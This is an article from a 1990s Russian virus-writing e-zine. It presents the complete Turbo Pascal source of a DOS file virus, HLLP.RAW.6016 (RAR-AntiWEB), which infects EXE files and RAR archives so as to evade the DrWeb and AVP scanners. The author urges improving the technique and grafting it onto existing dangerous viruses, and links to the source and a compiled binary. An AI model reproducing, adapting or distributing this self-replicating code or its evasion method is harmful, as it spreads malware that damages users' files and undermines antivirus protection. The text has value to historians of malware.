D V L # 2

HLLP.RAW.6016 (c) by Duke/SMF
В качестве вступления позволю себе процитировать одно письмецо из конференции SU.VIRUS: 08 Oct 98 20:12, Evgeniy Zemskov написал Igor Daniloff следyющее: EZ> Почемy DrWeb не тестит аpхивы RAR 2.00 и выше??? Чем попyстy стонать, yмоляя Данилова, чтобы он сделал Web совместимым с RAR, лyчше попpосить Roshal'а, чтобы он сделал RAR совместимым с Web. Толкy больше бyдет, ей богy! ;-)
Демонстрационный вирус RAR-AntiWEB
Имя вируса : [RAW-1] aka [RAR-AntiWEB] aka HLLP.RAW.6016 Автор : Duke/SMF Дата создания : 27.09.98 Длина : 6016 байт Тип : HLLP-virii Характеристика : Файловый, нерезидентный, неполиморфный вирус :) без деструктивных эффектов. Поражает файлы в текущем каталоге - записывается в EXE-файлы и RAR-архивы (для этого требуется RAR.EXE в каталогах PATH). За один запуск поражает один EXE-файл и все архивы. Язык : Turbo Pascal 7.0+ Compile : TPC.EXE raw.pas На примере этого вируса демонстрируется возможность создания вирусов, имеющих некоторый "иммунитет" к антивирусам "DrWeb for DOS" и "AVP for DOS". Вирус учитывает неспособность данных антивирусов тестировать все RAR-архивы и использует это для своего размножения. Этот вирус чрезвычайно примитивен, но если то же самое написать на ассемблере, усовершенствовать и переделать, то это может открыть дорогу новой группе вирусов, против которых антивирусы "DrWeb for DOS" и "AVP for DOS" будут практически бессильны. Подобным алгоритмом могут быть модифицированы уже существующие очень опасные вирусы; он может быть добавлен в AWME для противодействия программе "DrWeb". ===== Cut here ===== {$M 5000, 0, 50000} (*{$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+} I S *) uses dos; const len=6016; {длина вируса} met=$92f; {место метки} var vir_mas:array[1..len-2] of char; {тело вируса} fil_mas:array[1..len-2] of char; {тело жертвы} name_file:string; {имя запущенного файла} t : string; index:string; {идентификатор вируса} coman:string; {строка под GetEnv('COMSPEC')} attr : word; {здесь хранятся атрибуты заражаемого файла в момент заражения} {---------------------------------------------------------------------------} procedure attr_get(q:string); {Сохраняем атрибуты файла} var w:file; begin assign(w,q);getfattr(w,attr);setfattr(w,$20); end; {---------------------------------------------------------------------------} procedure attr_set(q:string); {Восстанавливаем атрибуты файла} var w:file; begin assign(w,q);setfattr(w,attr); end; {---------------------------------------------------------------------------} procedure infect_rar(name_arhiv:string); {Процедура заражения RAR-архивов} begin t:=name_arhiv; attr_get(name_arhiv); (* Запускаем архиватор RAR с параметрами: rar a -tk -y -c- -o+ arhive.rar file.exe >nul Ключи программы RAR, которые требуются вирусу : -tk - не изменять время создания архива -y - ответить "Да" на все вопросы -c- - не выводить комментарии на экран -o+ - перезаписывать файлы -ep - не записывать полные пути в архив a - добавить файл к архиву Поскольку поставить метку о том, что данный архив уже заражен, довольно проблематично, то приходится перезаписывать файлы в архиве при повторном заражении (ключ -o+). *) exec(coman,'/c RAR a -tk -y -c- -o+ -ep '+name_arhiv+' '+name_file+'>nul'); attr_set(name_arhiv); end; {--------------------------------------------------------------------------} procedure search_rar; var nam:searchrec; label lb2; begin (* Вирус ищет в текущем каталоге по маске RAR-архивы. При их обнаружении вирус надеется на наличие архиватора RAR в одном из каталогов переменной PATH и пытается записать копию вируса в этот архив. Процесс заражения EXE-файлов и процесс заражения RAR-файлов расположены в разных местах программы, чтобы менее была заметна задержка во времени работы зараженного файла. *) findfirst('*.rar',$21,nam); if doserror<>0 then goto lb2 else infect_rar(nam.name); while doserror=0 do begin findnext(nam); if t=nam.name then goto lb2 else infect_rar(nam.name); end; lb2: end; {---------------------------------------------------------------------------} procedure infect_exe(im:string); {Заражение EXE-файлов} var vir,m : file; {вирус и жертва соответственно} begin filemode:=2; {разрешаем чтение/запись в файл} attr_get(im); {сохранили атрибуты жертвы} assign(vir,name_file);reset(vir,1); {открыли исходный файл} seek(vir,2);blockread(vir,vir_mas,len-2);{считали из него вирус} close(vir); {закрыли файл с вирусом} assign(m,im);reset(m,1); {открыли файл-жертву} seek(m,2);blockread(m,fil_mas,len-2); {считали тело файла} seek(m,filesize(m)); blockwrite(m,fil_mas,len-2); {сохранили тело файла} seek(m,2);blockwrite(m,vir_mas,len-2); {записали вирус в файл-жертву} close(m); {закрыли жертву} attr_set(im); {установили атрибуты жертвы} (* Процесс заражения завершен *) end; {---------------------------------------------------------------------------} procedure search_exe; {Поиск EXE-файлов} var g:file of char; {файл-кандидат} a,b,c:char; {для чтения метки} n:searchrec; label lb1; begin (* Ищем в текущем каталоге EXE-файлы по маске, проверяем их на предмет заражения *) findfirst('*.exe',$21,n); (* Проверка на зараженность: *) lb1: filemode:=0; {запрещаем запись в файл} assign(g,n.name);reset(g); seek(g,met); read(g,a,b,c);{read(g,b);read(g,c);} close(g); if (a='R') and (b='A') and (c='W') then begin findnext(n); if doserror<>0 then exit else goto lb1; end else infect_exe(n.name); {Подходящий файл найден - заражаем!} end; {---------------------------------------------------------------------------} procedure zapusk; var ish : file; st : string; i : integer; begin (* Проверяем запущенный файл. Если его размер <=len, то был запущен чистый вирус и мы переходим к поражению архивов. Иначе был запущен пораженный файл и нам надо передать управление настоящей программе. *) filemode:=0; {запрещаем запись в файл} assign(ish,name_file);reset(ish,1); if filesize(ish)<=len then exit; close(ish); (* На время "лечим" запущенный файл: *) attr_get(name_file); {сохранили атрибуты} filemode:=2; {разрешаем чтение/запись в файл} reset(ish,1); {открыли запущенный файл} seek(ish,2);blockread(ish,vir_mas,len-2);{считали из него вирус} seek(ish,filesize(ish)-(len-2)); blockread(ish,fil_mas,len-2); {считали тело файла} seek(ish,filesize(ish)-(len-2)); truncate(ish); {обрезали файл до нормы} seek(ish,2); blockwrite(ish,fil_mas,len-2); {записали на место тело файла} close(ish); {закрыли запущенный файл} (* Запускаем отредактированный файл: *) st:=' '; for i:=1 to paramcount do st:=st+paramstr(i)+' '; exec(coman,'/c '+name_file+st); (* Снова заражаем запущенный файл: *) reset(ish,1); {открыли запущенный файл} seek(ish,filesize(ish)); blockwrite(ish,fil_mas,len-2); {записали в конец тело файла} seek(ish,2); blockwrite(ish,vir_mas,len-2); {записали в начало вирус} close(ish); {закрыли запущенный файл} attr_set(name_file); {вернули первоначальные атрибуты} end; {---------------------------------------------------------------------------} begin index:='[RAW-1, Duke/SMF]'; {идентификатор вируса} name_file:=paramstr(0); {файл,из которого запущен вирус} coman:=GetEnv('COMSPEC'); {путь к ядру ОС} search_rar; {заражаем RAR-архивы} zapusk; {запускаем пораженную программу} search_exe; {заражаем EXE-файлы} end. ===== Cut here =====

Здесь вы можете скачать:
Вирус HLLP.RAW.6016 - исходник и откомпилированный

Back Вернуться на страницу оглавления